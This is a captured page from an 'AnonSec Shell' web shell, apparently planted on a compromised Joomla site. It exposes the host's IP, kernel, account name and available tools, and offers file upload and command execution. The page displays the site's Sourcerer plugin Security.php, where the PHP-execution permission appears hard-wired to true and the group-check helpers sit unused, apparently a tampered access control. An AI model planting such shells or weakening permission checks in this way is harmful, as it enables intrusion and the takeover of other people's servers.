AnonSec Shell
Server IP : 46.105.57.169  /  Your IP : 216.73.217.8
Web Server : Apache
System : Linux webd003.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : maitricfuz ( 93378)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/maitricfuz/www/saint-martin-lg/plugins/system/sourcerer/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/maitricfuz/www/saint-martin-lg/plugins/system/sourcerer/src/Security.php
<?php
/**
 * @package         Sourcerer
 * @version         13.0.2
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2026 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

namespace RegularLabs\Plugin\System\Sourcerer;

defined('_JEXEC') or die;

use RegularLabs\Library\User as RL_User;

class Security
{
    protected static $security = null;

    public static function get(): object
    {
        if ( ! is_null(self::$security))
        {
            return self::$security;
        }

        self::$security = self::getForArea('other');

        return self::$security;
    }

    public static function getForArea(string $area): object
    {
        $pass_php = true;

        $security = (object) [
            'pass'     => true,
            'pass_css' => true,
            'pass_js'  => true,
            'pass_php' => $pass_php,
        ];


        return $security;
    }

    public static function getForArticle(object|false|null $article = null): object
    {
        $security = self::getForArea('articles');

        if ( ! isset($article->created_by))
        {
            return $security;
        }

        $creator_id  = (int) $article->created_by;
        $modifier_id = (int) ($article->modified_by ?? 0);

        $creator_is_admin  = $creator_id > 0 && RL_User::isAdministrator($creator_id);
        $modifier_is_admin = $modifier_id < 1
            || $modifier_id === $creator_id
            || RL_User::isAdministrator($modifier_id);
        $article_is_admin  = $creator_is_admin && $modifier_is_admin;

        $security = (object) [
            'pass'     => true,
            'pass_css' => true,
            'pass_js'  => true,
            'pass_php' => $article_is_admin,
        ];


        return $security;
    }

    public static function set(object|false|null $article = null): void
    {
        self::$security = self::getForArticle($article);
    }

    private static function getGroups(int $user_id): array
    {
        if ($user_id < 1)
        {
            return [-1];
        }

        return [-1, ...RL_User::getAuthorisedGroups($user_id)];
    }

    private static function passesSecurityLevels(
        array $security_levels,
        array $creator_groups,
        array $modifier_groups
    ): bool
    {
        return ! empty(array_intersect($security_levels, $creator_groups))
            && ! empty(array_intersect($security_levels, $modifier_groups));
    }
}

Anon7 - 2022
AnonSec Team